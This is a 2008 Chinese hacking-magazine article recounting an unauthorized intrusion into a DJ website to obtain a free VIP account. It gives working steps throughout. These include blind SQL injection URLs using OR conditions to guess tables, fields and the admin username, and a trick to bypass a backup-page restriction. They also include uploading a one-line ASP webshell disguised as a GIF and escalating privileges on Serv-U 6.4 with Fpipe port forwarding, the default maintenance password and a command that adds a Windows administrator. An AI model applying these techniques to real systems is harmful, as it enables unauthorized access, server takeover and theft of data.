反常规and 1=1的or 1=2注入技巧
脚本之家
作者:Tommie(C.R.S.T)
已经发表在黑客手册2008年第三期.
or突破防注入
春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。用IE打开目标网站,找到一个带参数的ASP链接。提交AND 1=1,如图2。
可能到了这里,有些读者会选择放弃。其实,如果一个网站的防注入不是过滤得很严的话,可以试试or注入。向注入点提交or 1=1,发现跳到另外一个页面了,如图3。
然后or 1=2返回最原始的页面了,如图4。
由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。用如下语句:
/productsview2.asp?id=248 or exists(select * from admin) //判断是否存在admin这个表,发现页面返回正常,也就是图4,说明不存在admin这个表。
/productsview2.asp?id=248 or exists(select * from manage) //页面返回异常了,也就是图3,说明存在manage这个表。猜完表后就要猜解字段了。
/productsview2.asp?id=248 or exists(select username from manage) //返回异常页面了,说明manage这个表中含有username这个字段,这时我们就可以猜数据了。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)<123 //判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)>96 //提交后发现返回异常页面,得到第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用牛族多功能ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码,先猜字符再猜数据。
html备份限制的突破
用明小子跑了下后台,如图5。
用注入得到的用户密码登陆后台,逛了一圈之后发现有备份数据库的地方,如图6。
不过有HTML限制,这个可以突破的。“查看”-“源文件”-“文件”-“另存为”,保存到本地。接着用文本格式打开它,找到“<form method="post" action="admin_data.asp?action=backdata&act=backup">”,把这里的action改为admin_data.asp这个文件的URL路径:“http://www.xxx.com/admin/admin_data.asp?action=backdata&;act=backup”,再修改“<input type="text" size="25" value="/data/#ylmv_data.mdb" disabled><input type=hidden name=DBpath value="/data/#ylmv_data.mdb">”的第二个value值“/data/#ylmv_data.mdb”改为你需要备份的文件。可能有些读者不明白为什么要这样改,这里就要运用到一些HTML知识了,如果不会的朋友可以把凡是涉及“/data/#ylmv_data.mdb”这个路径(也就是当前数据库路径)全部替换为你需要备份的文件。这种备份限制相信很多读者都遇过,如果不知道突破的方法很可能又会放弃的了,所以在这里奉劝大家最好学学这方面的知识,跟着保存修改后的文件。但问题又来了,在后台找不到可以上传文件的功能,这时可以到前台看看能不能找到可以上传的地方,这里的DJ网站能让我们注册会员(普通会员),于是我就注册了一个会员,在控制面版里找到可以上传头像的地方,于是上传了一个只是把后缀改为gif格式的一句话asp木马,上传后如图7。
原来是判断文件头,这时我们可以借助ASP图片木马生成器这款软件,先把一张比较小的图片(经过后来的测试发现除了判断文件头还判断大小)和一个asp一句话木马放到这款软件的目录下,写好名称进行生成,如图8。
就会在所在目录生成一个“aspmuma.gif”图片木马,把它上传上去,如图9。
把返回的相对路径按照上面的方法替换好,打开后如图10,
写好备份后的路径进行备份,如图11。
用lake2的eval最小马发送端连接上去,如图12。
Serv-U 6.4提权
拿到WEBSHELL只要修改下数据库就可以拿到VIP会员了,相信大家都会,以前的手册也有介绍过。既然拿到SHELL,不提权怎对得起自己呢?先来看看这个虚拟主机是用什么FTP软件搭建的。“开始”-“运行”-“FTP www.xxx.com”,如图13。
最近,6.4这个版本有人发布了提权asp出来,于是我下载回来进行测试,发现无法成功提权,很多朋友都和我一样觉得很郁闷。其实网上的ASP大多都是依赖XMLHTTP这个组件来访问本地的43958端口添加系统权限FTP用户,那么我们不用XMLHTTP来替我们添加FTP用户而是我们自己创造条件来访问43958端口又行不行呢?
上传一个被压缩过的CMD.EXE(因为IIS6.0默认不让上传超过200KB的文件)和一个转发工具:Fpipe.exe到“C:\Documents and Settings\All Users\Documents”这个目录(这个目录默认是everyone权限),并且已经在本地安装好SERV-U。
在WEBSHELL执行“"C:\Documents and Settings\All Users\Documents\FPipe.exe" -v -l 43959 -r 43958 127.0.0.1”,如图14。
执行之后IIS会处于假死现象,到了这时之后操作一定要迅速,不然被管理员发现网站访问速度慢了许多就麻烦了。打开SERV-U,右键新建一个服务器,如图15。
第一步输入目标IP,第二步会提示要你输入端口号,这时我们输入转发出来的端口43959,第三步输入FTP服务器名称,可以随便输入,第四步输入默认维护帐号“LocalAdministrator”,第五步输入默认密码[email=“#l@$ak#.lk;0@P]“#l@$ak#.lk;0@P[/email]”,连接对方FTP服务器,如图16,
发现已经得到对方FTP服务器的管理权限!新建一个FTP用户,在“帐户”-“特权”那里选为“系统管理员”,在“目录访问”那里把所有权限勾上,最后“应用”,如图17,18。
“开始”-“运行”-“FTP www.xxx.com”,输入刚才新建FTP用户和密码,因为对方开了3389,所以连接上后执行“quote site exec net user Tommie nohack /add & net localgroup administrators Tommie /add”,返回“200 EXEC command successful”说明成功添加了一个用户是Tommie密码为nohack的管理员,如图19。
登陆3389,打开“任务管理器”-“进程”,勾选“显示所有用户的进程”,找到转发工具的进程Fpipe.exe结束之,如图20,
使IIS再次恢复正常工作。
感想
这次入侵让我回想起Gene6的提权,虽然虚拟主机的目录权限早已设置得死死的,但兴幸的是Documents这样的目录并没有被设置,而且Serv-U默认只允许127.0.0.1(也就是本地,当然,你也可以把Serv-U设置成0.0.0.0这样,也就是无限制连接)访问43958端口,所以可以通过转发来解决来这个问题。经过多个版本的测试,这个目录无修改权限的提权方法是通杀所有版本的。前提服务器必须要支持WScript.Shell组件或支持执行命令。最后文章有不清楚的朋友可以直接到黑客手册论坛找我。论坛Id:Tommie。